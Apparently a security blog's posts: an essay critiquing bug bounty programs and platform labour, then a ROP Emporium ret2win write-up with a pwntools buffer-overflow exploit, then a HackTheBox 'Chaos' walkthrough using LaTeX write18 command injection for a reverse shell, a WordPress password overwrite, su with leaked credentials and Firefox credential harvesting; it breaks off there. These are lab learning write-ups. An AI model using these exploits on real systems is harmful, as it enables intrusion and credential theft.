Let’s get this out of the way first. Bug bounty programs have advantages, they provide some benefits that are tangible and cannot be completely ignored. For companies, they are a way to have bugs reported and disclosed so that they can be fixed, rather than sold and/or abused. The idea is simple: if you have a better (and safer) financial incentive to report the bug compared to selling it on the black market or abuse it yourself, it’s reasonable to think you will do that. This also means that people who accidentally find some bug will have the means to report it without having to worry whether they can get in trouble for it (which used to be the case, and still is, in many instances).

For security researchers/white hat hackers/security enthusiasts etc., bug bounty programs can become a way to somewhat monetize the activities that would otherwise have been carried out purely as a hobby. In addition to this, such programs allow researchers to play with real systems in a legal way, rather than having to work purely on a lab environment (which makes it arguably less fun).

Obviously other folks will have additional arguments to add to the list, but I hope that what I listed so far is reasonable enough to demonstrate that my objective in writing this piece is not to fully condemn bounty programs nor declare their futility.

The Technical Downsides

Let’s start now analyzing the downsides of these programs. First and foremost, the relevancy of such downsides will depend on how a given company and organization will build the program and, similarly, how an individual performs his or her research; however, I will try to point to some specific factors that cause a negative impact in having (or participating in) a bounty program.

For companies it is absolutely critical to have a good disclosure process that allows researchers in good faith to report safely bugs without having to worry for their legal safety and without having to jump through many hoops (usually an e-mail ping-pong with customer support). However, bug-bounties and disclosure programs in general need to be perceived exactly for what they are: a nice-to-have way to have bugs reported, on the part of their systems which is more exposed publicly. The problems start when companies will start considering a bug-bounty program as a security control. I know, not all companies do that, but some do and in addition they are encouraged to do so.

Already a couple of years ago I found a picture that was in my opinion representing this exact view:

I stumbled across this image in one of the many (too many) low-efforts posts that constitute virtually the total of LinkedIn posts. Of course, this post was created by a company that offers a bug-bounty platform (more on this later), so it’s not surprising that they would advertise their own business. However, the growing number of platforms that organize bounty programs is trying to create this narrative, that if you create a program you are basically subscribing for a continuous penetration test of your systems, and if that wasn’t enough, you have to pay only when bugs are actually found (and even in those cases, not always!).

It’s clear that this is absolute nonsense, and a quick Google search will show an even larger number of posts made (usually) by companies that offer penetration tests that stress the opposite arguments (bug bounties are unstructured, partial etc.).

A small de-tour about pentests

Allow me a small rant about penetration tests. I have worked in a company that underwent at least 4 or 5 penetration tests in the last years. Usually they lasted a couple of weeks and costed from 10 to 20k Euro. The quality of most penetration tests is abysmal. Some companies call a penetration test having one guy, possibly not even very experienced, running Nexpose (or similar tools) against your infrastructure, exporting the results to CSV and sending the report to you. Using this kind of penetration test to oppose a bug-bounty program is obviously as nonsense as the argument that I discussed earlier (on why to prefer a bug-bounty program).

The technical Reasons why Bug Bounties are inherently crippled

I mentioned earlier that telling a company to prefer (as in, replace with) bug-bounty programs to penetration tests is nonsense, but I didn’t articulate why. So, here are some of the reasons:

The scope of a bug-bounty program is obviously limited to the public-facing systems and infrastructure. You don’t provide VPN credential to bounty hunters to test your internal systems.
Most of the findings (for reasons that I will discuss shortly to cover the perspective of the hunter) are found through automation, not much differently from how the “pentest” are sometimes carried out by the average security firm. Automation for security audits has its known limitation and it is very rarely sufficient to discover logical bugs that are the result of multiple issues.
Bug bounties programs attract script kiddies who learn to write ‘alert(1)’ in every box (often without understanding the result) and also people who are just after money (which is not bad per se, but it is bad when people want the money without the bugs). This I am sure has a fun component (I am sure plenty of reports are hilarious), but it has also some negative consequences for an organization. For example, each report should (whether this happens or not, it’s hard to say) be validated, triaged, and possibly responded to. This takes time (and is not fun work either) for security professionals that could use their time in a better way.
There is hardly any prioritization. Bounty hunters will not focus specifically on high-impact vulnerabilities or systems, and you might get an unbalanced number of reports (and therefore also testing coverage) for low-criticality vulnerabilities in order to get any bounty, rather than a focus of what would cause actual damage to your organization first.

Once again, all this is not to say that bounties do not have any advantage for organizations, but I want to stress that the erratic and incomplete nature of bug-bounties are not a security control per se. At most, they are a control for the risk “some person outside the company finds a bug in our systems and doesn’t know/has incentive to report it”. That’s it, this is what organizations should aim to address with bounties.

The Security Researcher perspective

Now, let’s look at the security researcher perspective. Bug-bounties are sometimes proposed to junior people as a learning opportunity, some occasion to learn tools and techniques. Moreover, they are seen by someone else as a way to make money and finally, for others they are a way to have fun and/or gain ‘street creds’.

In my opinion, the only valid point is the latter: if you do have fun doing it, it makes sense. If you are in for the money of for the learning component, you are much better off doing something else. Before taking the pitchforks, allow me to explain. Let’s start from a premise, which is easily verifiable talking with many people who do bug-bounties: most of the bug hunters a) specialize in one (or maybe a couple) class of vulnerabilities; someone might be specialized in finding XSS, someone else is a sadistic person who likes to experiment with requests smuggling etc., but the bottom line is that usually the recommendation is to get good in one class of vulnerabilities and look only for that. b) Most of the research is automated, at least to filter the scope. Successful hunters rarely work on one program at a given time, dedicating their full time on that. They will rather work on as many programs as they can in parallel, through automation, and then eventually dig deeper where some interesting or suspicious finding pops up.

This premise is useful to explain why bounties are a bad (or not optimal) way to learn or to make money. First, while learning it is extremely reductive to focus on one class of vulnerabilities only (for obvious reasons), so if you want to learn, it’s likely you want to cover a broader range of subjects. This wouldn’t be a problem, except for the fact that most real-life systems are too complex, there is too much noise, to practice security testing. Besides, it’s much harder to practice the exploitation/discovery of vulnerabilities on systems that it’s not known whether they are vulnerable or not. It is much more efficient to learn XSS on a lab-scenario, where you do have access to the ‘application side’ as well, rather than just throwing payloads at a system without a proper way to gather feedback or inspect the results (as in, didn’t work because I am doing the encoding wrong or the application is simply not vulnerable?).

Let’s now talk about the money: searching online it’s not uncommon to find young researchers asking suggestions on how to become full-time bounty hunters or recommendation to complement one’s salary with bug hunting. One thing that all these questions have in common is the amount of people that answer that it’s a terrible investment to do bug bounties with the goal of making money. The arguments are very simple:

It is absolutely not guaranteed that you will find a bug.
If you find a bug, it is very likely it will be a low (or medium) severity bug.
It is absolutely possible that the bug you found has already been reported (and in most cases, this means you won’t get paid).
In some cases it will take up to months to get a bug confirmed and the bounty paid.
There are many ways to shoot yourself in the foot, and perform some action that -at the discretion of the company- will disqualify you from the program, even if the bug is valid and confirmed.
It can take you hundreds of hours to find a single bug.

Looking at some data published by Portswigger not so long ago, the bulk of the users of HackerOne (one of the major bug bounties platforms) makes less than $20000 a year. This is probably the number before taxes (because in the T&C of HackerOne is clearly stated that taxes are your responsibility) therefore it’s reasonable to assume that the actual number is 20-40% lower, somewhere around $15000. Most of the researchers make less than this, which means that the median is probably lower. According to another article the top 1% of hunters earns on average $35000, to which again, we probably need to subtract income taxes.

At this point, it really boils down to how much time is invested into this work, and (something that is very often forgotten) the opportunity cost of those hours. Do you have an automated setup which with minimal supervision and work can earn you $10-15k in a year? That sounds a great investment. Are you looking for work and you are thinking of becoming a full-time hunter? Chances are, money-wise you will be earning way, way, way less than you would with a regular (in most cases even part-time) job. Sure, there are some perks, like total flexibility etc., but there is also a high degree of instability. It’s not easy to go to a bank for a mortgage and present your HackerOne profile saying “don’t worry, next year I am doing even better”, especially since -once again- you are competing against a plethora of people who most likely: a) are specialized in different classes of vulnerabilities, and b) have already automated most of the setup, meaning that they will most likely pick the low-hanging fruits, leaving you more complex bugs that require more time. All this doesn’t apply for countries with lower salaries, where $10000 is already a very high salary. I hope that remote work will present those people with even better opportunities, but if that’s not the case, then sure, making bounties in that case can be worth the effort.

You might also think that finding some bug can be a nice addition to your CV or ‘street creds’. In fact, there are still plenty of programs that “pay” you in “points” or by adding you to some hall of fame. As a person who participated in the hiring process for security professionals, I believe that a bounty does give you some points, but absolutely nothing that a certificate, a degree or simply a nice conversation where you demonstrate understanding of a given topic doesn’t give as well. It could lead to good consideration if it’s a very complex vulnerability that demonstrates your persistence and technical capabilities in a wide range of topics (chaining multiple vulnerabilities for example, although this is not possible in many programs), but definitely it won’t blow anybody’s mind seeing you discovered some reflected XSS in the search page of a minor website, or 20 XSS in various sites.

To sum it up, I believe that for a small percentage of people, bounties are a nice-to-have source of income if -and only if- there is minimal amount of work put into it. They are not the most optimal way of learning or to make money for the majority of the people. If you are out of work and you are looking to earn some money before you find another job, I would argue that it is a much, much better investment to spin up a couple of virtual machines and learn about some popular topics rather than investing hundreds of hours (because this is most likely what takes an inexperienced person) in the hope of getting some $200-1000 bounty, without learning too much in the process. I would argue that a $50 book read and practiced cover-to-cover (for example this in 200 hours will give you a way bigger edge in job hunting (for an appsec position, for example) than having 2 medium bugs found within the same time (and I am being overly optimistic here).

So far we have discussed mostly technical aspects, but I think it’s equally, or maybe even more, important to discuss the social and political implications of these programs. Bug-bounties in fact do not exist in a vacuum, they exist within a specific social context made of workers and organizations with different (and often) contrasting interests, made of budgets (in terms of money and time) and so on.

The Power Unbalance

My first and main issue with these programs is that all the workers’ rights are completely destroyed. This is one of the selling point of bug-bounties according to the picture I included at the beginning: you don’t need to pay for the time spent, you pay for the result. This means that you are not paid for the work you do, you are paid if -and only if- the outcome of your work is deemed useful by the company at its sole discretion. The company decides that your bug is somehow not in scope for the program? Tough luck. The company already got that bug reported (in many cases, you wouldn’t know)? Tough luck.

You, as a person doing actual work that benefits the company, have no right, whatsoever. I also want to remind here that finding no issues in a given system is already a valuable result for the company. As an organization, you will get at least some level of confidence that no trivial bug exists (for a given class) in a given part of my systems, at a given point in time. Exactly like having a clean penetration test result is a very valuable (and pursued) result.

In case of bounties, you are on your own. You might spend hundreds of hours testing the systems of an organization, a task that by itself would cost 2 months of salary for a professional, and you are doing it for free. Nothing guarantees you that that time will be actually paid, and if it’s going to get paid, it might be paid an extremely low amount for the hours invested.

This power unbalance is not just perceived by me because of my political views, it has very concrete implications and visible symptoms. There are many horror stories from security researchers, from a classic Facebook story, in which a “misunderstanding” lead to Facebook reaching to the researcher’s employer, to Apple refusing to pay and many others. The common denominator here is that you have no guarantees whatsoever not only that you are going to find something, but even that you will be paid for that something, or that you will be paid fairly for it. The power is completely in the hands of the company running the program.

Another aspect with this unbalance is the Intellectual Property right. For example, you might think that if the company decides without (in your opinion) proper motivation not to pay you, to underpay you or simply ignores your report, you might publish (or sell) the findings you reported. This in some cases is not really ethical but it would give some leverage to the researcher and will force the company to attribute proper value to the reported findings. However, if we look for example at HackerOne T&C we will see:

“Subject to HackerOne’s ownership of any HackerOne Property contained therein, the Customer will own all right, title, and interest to each Customer Report. HackerOne hereby grants the Customer a non-exclusive, non-transferable, perpetual, worldwide license to access, use, and reproduce any HackerOne Property included in each Customer Report.”

Similarly, in BugCrowd T&C we see:

“For the purposes of this section, “Testing Results” means information about vulnerabilities discovered on the Target Systems discovered, found, observed or identified by Researchers” and “Target Systems” are the applications and systems that are the subject of the Testing Services.

You hereby agree and warrant that you will disclose all of the Testing Results found or identified by you (“your Testing Results”) to Bugcrowd. Furthermore, you hereby assign to Bugcrowd and agree to assign to Bugcrowd any and all of your Testing Results and rights thereto.”

Basically the moment you report anything, you also give up the intellectual property right for anything you have produced, and you do so unconditionally. This means that you expose yourself legally if you decide to take any action against an unfair treatment (for example, publishing on your own the bug) and of course you potentially jeopardize your ability to continue “working” as a hunter in the future on the same platform. It doesn’t matter that the fault might have been the company’s, you have no protection. I have picked two of the biggest platforms just as an example, but I am sure that the same applies to many if not all the other major platforms as well.

This framing of security research is still an improvement from the criminalization that used to happen not too long ago (and that still happens nowadays), but it is far from an ideal solution or an optimal result.

Platforms

My second issue with these programs, very much linked to the previous, is the fact that the bounty programs, for how they are organized today, encourage the parasitic platform capitalism. What I mean by that is that (again, for how they are built right now) these programs require a middleman which does not directly perform any work, but leeches on the work done both by the company (through some subscription fee) and by the researchers (through a cut in the reward) in order to generate profit. The platform itself is not necessary, once built it has basically no cost (whatever might cost to run a website), but it extracts profit from the work of others.

The issues with Platform Capitalism are much better discussed by Srnicek in his book, which I highly recommend, so I won’t dig too much in why this is a problem.

Why such platforms need to be for profit and -most importantly- why would we need so many of them? We have plenty of public or kind-of-public institutions that deal with Cyber Security. For example, why can’t a public platform be developed, open sourced and then run independently by national CERTs, or maybe even centralized? I personally do not see any notable advantage in using BugCrowd versus using HackerOne or one of the other many platforms, they are functionally identical. The difference is that a for-profit company is behind each one of them, which is part of the reason for the unbalance of power discussed earlier: a for-profit company will always be incentivized to protect the paying customer (which is the company sponsoring the program), while a semi-public institution could be a more impartial referee in potential conflicts. Furthermore, having to sign up to tens of platforms, each with its own rules, is unnecessarily annoying for researchers as well.

Labor

The final argument in terms of the socio-political implication has to do with labor. This is probably the most obvious reason, but doing bug bounties is essentially doing free labor (except if something is found), without a contract and without any guarantee. Of course everyone is free to perform free labor, but it is worth reasoning on the implication that this has as well. bug bounty platforms will push for security done through their programs rather than through penetration tests or security audits. Whether they will have success is debatable, but the implications are pretty clear: we are replacing workers, with a given salary and guarantees, with a number of workers that are not paid for their labor but are paid only for their (not guaranteed) results, and paid in a non-predictable way as well. This is obviously a step back in wealth distribution, it is a step back in stability and as workers, we should actively fight this narrative. In fact, as a security professional, I feel this is my duty as well, and one of the reasons why I decided to write this post on the first place.

One of the most disturbing facts is that the companies that get more of this free labor are the companies that if not “don’t deserve it”, at the very least don’t need it: Google, Facebook, Twitter, Apple, etc. This is because it gives more ‘street cred’ finding a bug in Google than in my blog and probably because they also pay better (on paper) for findings. However, these are companies that have plenty of resources to pay internal teams and are also the ‘innovators’, who maybe should be the ones leading the solution to the problems addressed in this post: how to pay researches for the work they have done, and not for the individual findings this work generated.

I don’t want to sound catastrophist, I don’t believe that tomorrow, or in a year, or in 10 years, companies will fire internal (offensive) security teams and replace them with bug bounties programs. This is not realistic of course. However, it’s possible that the internal teams might be 5-10% smaller than what they could be, because the company for example outsources the assessment of some part of their systems (public web applications, for example), to bug hunters. If this was the case, we are talking about replacing high-paying stable jobs with essentially free labor. We are talking about more pressure on the job market, which in turns will push more people to do free labor to ‘get visibility’ and enrich their CV, and all the similar phenomena way too common already in other fields, from show-business to graphic design, in a vicious circle that will benefit companies and hurt workers.

Conclusion

Within the post I discussed how bug-bounty programs, for how they are run today, are not the best opportunity for learning or to make money. I think that these programs are necessary, in the sense that companies should incentivize researchers to disclose responsibly a bug if they find one, but there are some caveats, which I want to sum up in a few points:

As a security professional, you should frame the bug-bounty program utility and function in the correct way. Similarly to how you should frame a penetration test in the correct way. A bug-bounty program is useful to give an option to researchers that will find (accidentally or deliberately) a security issue with your systems, and also contributes to the de-criminalization of white hats. They do not represent a security control that makes in any way redundant proper security investments within the company, and an internal offensive security team (for organization of a certain size at least).
If you are a security researcher and you are looking for learning opportunities, I think that books, labs, CTFs and auditing (Free - as in speech) Open Source projects are a much better way both from your personal point of view and also from the ethical point of view. Rather than wasting 50 hours to find, maybe, some XSS in some Facebook URL, you might spend 50 hours to do some testing for a FOSS project that actually helps people. Who knows, this might also get you a foot in the door of a community, in addition to the fact that you are way more likely to find vulnerabilities there.
If you are a security researcher and you are looking for money, then unless you are really specialized in some vulnerability class and you have proper automation (or you intend to build it without having to invest too much) in place to look for those bugs in almost complete autonomy, don’t bother. Rest your mind to perform better during your regular work, spend time in whatever other way you want or if you need to really monetize this job, get started on freelancing, teaching, consulting etc.
Finally, if you are a security researcher and you are looking for fun, bug-bounties might be for you. If you get joy in finding a bug, and if you want to stack ‘street creds’, then you might get the benefits of bug hunting. However, even in this situation, let an Internet stranger encourage you to conciliate the ethical motives with the entertainment: there are plenty of software projects and Tech organizations who do, or try to do, good in the world, spend your time there, rather than doing free labor for companies that could pay an army of security researchers if they wanted to (Facebook, Google, Apple, etc.). You will have fun, you will get your CVEs but you will also help people, not only the organization/team (that most likely doesn’t have the concrete means to pay for security professionals yet) but also the people who use those products. For companies you can pick a tech co-op and for software there are of course so many options that to even scratch the surface, it would take a whole post.

As tech workers, it’s important to consider our work in the bigger context, to consider the implications of our actions, the faults of the current tech environment and to contribute in any way we can to improve it.

ROP Emporium - ret2win

Thu, 07 Nov 2019 00:00:00 +0000

ROP Emporium Volume 1

This is the first blog post that I decided to write down about the challenges that you can find on ROP Emporium. This post is about the first and easiest challenge: ret2win.

Description of the challenge

The first challenge is the easiest. There is a function in the code that prints the flags for us, and all we need to do is calling it via a very simple ROP chain.

Preliminary steps

First of all, we look for the address of the function that needs to be called (ret2win).

```bash
gef➤  disas ret2win
Dump of assembler code for function ret2win:
   0x0000000000400811 <+0>:     push   rbp

We can see that the function is at address 0x400811.

Despite the fact that running the binary, we get good information about what to do

ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

it is still more convenient to use gef (or similar GDB extensions) to get the precise offset at which the overflow happens.

First, we create a pattern of 150 bytes (60 would have been more than enough).

gef➤  pattern create 150
[+] Generating a pattern of 150 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
[+] Saved as '$_gef0'

Then, we run the program and we pass the pattern as input.

gef➤  r
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa

At this point the process crashes as expected. We want to get the content of the $rsp now and determine the offset for the overflow.

gef➤  x /xg $rsp
0x7fffffffe418: 0x6161616161616166
gef➤  pattern search 0x6161616161616166
[+] Searching '0x6161616161616166'
[+] Found at offset 40 (little-endian search) likely
[+] Found at offset 33 (big-endian search)

So we have 40 bytes of garbage to fill and then we need to put the address of the ret2win function. This will make sure that the saved return address will contain the address of the ret2win function, and the program will conveniently execute the function for us.

The exploit then will look as follows:

from pwn import *

context(terminal=['tmux', 'new-window'])
context(os='linux', arch='amd64')
io = process('./ret2win')
# Address of ret2win function
ret_win = p64(0x400811)
# Padding
junk = "A"*40
# Payload
payload = junk + ret_win
io.recvuntil('fgets!')
io.sendline(payload)
# Read or get interactive session, it doesn't matter
io.interactive()

Running the exploit works fairly smoothly

root@kali:~/ropemporium/ret2win# python exploit.py
[+] Starting local process './ret2win': pid 24539
[*] Switching to interactive mode


> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

HTB - Chaos writeup

Tue, 11 Jun 2019 00:00:00 +0000

HackTheBox Chaos

Introduction

Around a month ago I started playing with HackTheBox which is a site very similar to Vulnhub. The main difference is that the 20 available machines do not have published solutions. This makes exploiting them more challenging, and it is also the reason why I am publishing right now the writeup of one of the 9 machines I managed to root during this time, as Chaos has been retired about a week ago.

Chaos

Chaos was overall a fun machine, and definitely taught me something about email protocols and a few other things.

As always, I started from classic nmap recon.

Nmap

root@kali:~/chaos# nmap -A -sS -sV -p- 10.10.10.120
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-04 06:46 EDT
Nmap scan report for 10.10.10.120
Host is up (0.054s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE           VERSION
80/tcp    open  http?
110/tcp   open  pop3?
| fingerprint-strings: 
|   GenericLines, NULL: 
|_    +OK Dovecot (Ubuntu) ready.
143/tcp   open  imap              Dovecot imapd (Ubuntu)
993/tcp   open  imaps?
995/tcp   open  pop3s?
10000/tcp open  snet-sensor-mgmt?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port110-TCP:V=7.70%I=7%D=5/4%Time=5CCD6DB3%P=x86_64-pc-linux-gnu%r(NULL
SF:,1D,"\+OK\x20Dovecot\x20\(Ubuntu\)\x20ready\.\r\n")%r(GenericLines,1D,"
SF:\+OK\x20Dovecot\x20\(Ubuntu\)\x20ready\.\r\n");
Device type: firewall
Running (JUST GUESSING): Fortinet embedded (87%)
OS CPE: cpe:/h:fortinet:fortigate_100d
Aggressive OS guesses: Fortinet FortiGate 100D firewall (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT    ADDRESS
1   ... 30

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.20 seconds

Here we can see that there are a few open ports:

80 - HTTP
110/995 - pop3(s)
143/996 - imap(s)
10000 - webmin

As a first thing, I decided to go onto the port 80 and see what kind of web content was there. The site was pretty empty, so I decided to enumerate more.

Nikto

root@kali:~# nikto -h 10.10.10.120

- Nikto v2.1.6

------

- Target IP:          10.10.10.120
- Target Hostname:    10.10.10.120
- Target Port:        80
- Start Time:         2019-05-04 07:23:21 (GMT-4)

------

- Server: Apache/2.4.34 (Ubuntu)
- Server leaks inodes via ETags, header found with file /, fields: 0x49 0x57947aa3269e5
- The anti-clickjacking X-Frame-Options header is not present.
- The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- No CGI Directories found (use '-C all' to force check all possible dirs)
- Allowed HTTP Methods: HEAD, GET, POST, OPTIONS
- OSVDB-3233: /icons/README: Apache default file found.
- 7499 requests: 0 error(s) and 6 item(s) reported on remote host
- End Time:           2019-05-04 07:29:11 (GMT-4) (350 seconds)

------

- 1 host(s) tested

Nikto didn’t report anything really useful, so I run dirb against the target to see if there was some hidden directory.

Dirb

root@kali:~/chaos# dirb http://10.10.10.120/ /usr/share/dirb/wordlists/common.txt

------

DIRB v2.22

## By The Dark Raver

START_TIME: Sat May  4 07:23:03 2019
URL_BASE: http://10.10.10.120/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.120/ ----

- http://10.10.10.120/index.html (CODE:200|SIZE:73)
  ==> DIRECTORY: http://10.10.10.120/javascript/
- http://10.10.10.120/server-status (CODE:403|SIZE:300)
  ==> DIRECTORY: http://10.10.10.120/wp/

---- Entering directory: http://10.10.10.120/javascript/ ----
==> DIRECTORY: http://10.10.10.120/javascript/jquery/

---- Entering directory: http://10.10.10.120/wp/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.10.120/javascript/jquery/ ----

- http://10.10.10.120/javascript/jquery/jquery (CODE:200|SIZE:268026)

------

END_TIME: Sat May  4 07:33:01 2019
DOWNLOADED: 13836 - FOUND: 3

The most interesting directory was clearly /wp as at this location there was a Wordpress site, which looked pretty empty.

When a Wordpress site is there, WPscan is a perfect tool to use.

WPscan

wpscan reproted several findings (possible vulnerable plugins etc.), but the most important was that a user wrote a comment somewhere on the site: user human.

In addition, there was one page that was protected by password.

http://10.10.10.120/wp/wordpress/index.php/2018/10/28/chaos

Here guesswork just paid off. The user is human, so why not trying human password? This, luckily, worked, and I got a page with the content:

Protected: chaos
creds for webmail

username - ayush
password - jiujitsu

Now, these credentials are clearly useful for something, but I was not sure what webmail meant. I tried them against webmin on port 10000 but they did not work.

There was not a Roundcube instance exposed or something similar, so I decided to try to investigate further pop3 and imap ports.

POP and IMAP

First, I tried to investigate POP3s

root@kali:~# socat  - OPENSSL:chaos:995,verify=0 
+OK Dovecot (Ubuntu) ready.
USER ayush
+OK
PASS jiujitsu
+OK Logged in.

The credentials actually worked, but looking around I could not find anything useful.

So I decided to go back to my Kali gui, install Thunderbird and try configuring a new email which uses the target machine as the server and authenticates with the credentials found.

The login worked and once I was logged in, I looked around and found a draft message with some attachment that I downloaded.

root@kali:~/chaos# cat mail 
Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.
Thanks,
Ayush

enim_msg.txt

0000000000000234®îªzŠØ³pK8…ZCƒÌõð¹‰^9ä¯kW‡À•Ô&wø9Ü¾©‚ö½EÓä'q’[žèžû9îZ‹Þ3€«íæ.žC–¹ÚÁí¬Ë;¬Ø3Áø•¢¾ó6¼ŸR`n

The attachment enim_msg.txt was some encrypted string, and in addition there was also a Python script with what looked like the function used to encrypt the content.

root@kali:~/chaos# cat en.py 
def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

encryptor = AES.new(key, AES.MODE_CBC, IV)

with open(filename, 'rb') as infile:
    with open(outputFile, 'wb') as outfile:
        outfile.write(filesize.encode('utf-8'))
        outfile.write(IV)

        while True:
            chunk = infile.read(chunksize)

            if len(chunk) == 0:
                break
            elif len(chunk) % 16 != 0:
                chunk += b' ' * (16 - (len(chunk) % 16))

            outfile.write(encryptor.encrypt(chunk))

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

Looking around on the internet, I foudn that this is a snippet of code from a AES encryption/decryption tool, but instead I decided to just write the decryption function myself.

def decrypt(key):
    chunksize = 64*1024
    input_file = "enim_msg.txt"
    filecontent = open(input_file, 'rb').read()
    print('File content %s bytes' % len(filecontent))
    filesize = filecontent[:16]
    IV = filecontent[16:32]
    ciphertext = filecontent[32:]
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    print(decryptor.decrypt(ciphertext))
    
File content 272 bytes
b'SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK\n\n

At this point the message decrypted was clearly base64 encoded, so I decoded it.

root@kali:~/chaos# echo "SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK" | base64 -d
Hii Sahay

Please check our new service which create pdf

p.s - As you told me to encrypt important msg, i did :)

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

Thanks,
Ayush

The link pointed to some PDF generation page. Here we could insert some code and choose a template, and some PDF would have been generated for us (or at least that’s what the page claimed).

Checking the actual response that the server was giving me, I could see that there was some LaTeX engine behind the page, as the response contained the execution log of the pdflatex command.

From https://0day.work/hacking-with-latex/, surprisingly, I found that it was possible to inject commands by using

\immediate\write18{$CMD} in the PDF generation box. The command would have been injected in the document and LaTeX would have executed it for us.

First I tried some commands to see what I could do, checking the output from the server response. After I could not find anything interesting I decided to just execute as CMD a Python reverse shell, while listening with nc from Kali. So I got a shell as www-data.

Reverse Shell

Once I had my reverse shell, I knew that user had to be close. I started looking around and went into a couple of rabbit holes, such as:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wp');
                                                           
/** MySQL database username */
define('DB_USER', 'roundcube');

/** MySQL database password */                 
define('DB_PASSWORD', 'inner[OnCag8');

and even more

$ cat roundcube.conf
<VirtualHost *:80>
        ServerName webmail.chaos.htb

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/roundcube
    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn

    ErrorLog ${APACHE_LOG_DIR}/error_roundcube.log
    CustomLog ${APACHE_LOG_DIR}/access_roundcube.log combined

    <Directory /var/www/roundcube>
            Options -Indexes
            AllowOverride All
            Order allow,deny
            allow from all
    </Directory>
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

I was really hoping that I could actually use Roundcube, as this was the webmail I was really expecting to be there at the beginning!

I also managed to login in wordpress as admin, hoping there could be some draft or any other information, by overriding the admin password.

mysql> UPDATE `wp_users` SET `user_pass` = MD5( 'soloiolaso' ) WHERE `wp_users`.`user_login` = "human";

Unfortunately, all of this was useless, as all it was needed was:

www-data@chaos:/etc/dovecot$ su ayush
su ayush
Password: jiujitsu

The shell we got is rbash a restricted shell where almost no command was possible. First, I decided to use su to print the flag.

www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su -c "cat /home/ayush/user.txt" ayush
<3r3/compile$ su -c "cat /home/ayush/user.txt" ayush             
Password: jiujitsu

eef39126d9c3b4b8a30286970dc713e1

At this point I got user, but if I just tried to su to ayush I got a restricted shell, that I would have had to break out from.

Instead, I just spawned a new shell directly.

www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su -c "python -c 'import pty; pty.spawn(\"/bin/bash\")' " ayush
Password: jiujitsu

ayush@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ls
ls
Command 'ls' is available in '/bin/ls'
The command could not be located because '/bin' is not included in the PATH environment variable.
ls: command not found

The shell now was fully functional, and just by adding the usual folders to the $PATH variable, I could execute all the commands available.

Privilege escalation

Privilege escalation was quite easy with this specific box. in the Home directory of the user there was a .mozilla folder.

As this was a very peculiar thing to be present, given that mozilla didn’t really have a reason to be there (the program was not even installed), I decided to check it out.

After some research, I understood that this folder was basically a backup of a profile, and therefore I aimed for the credentials saved; these are usually stored in logins.json .

ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ cat logins.json
cat logins.json
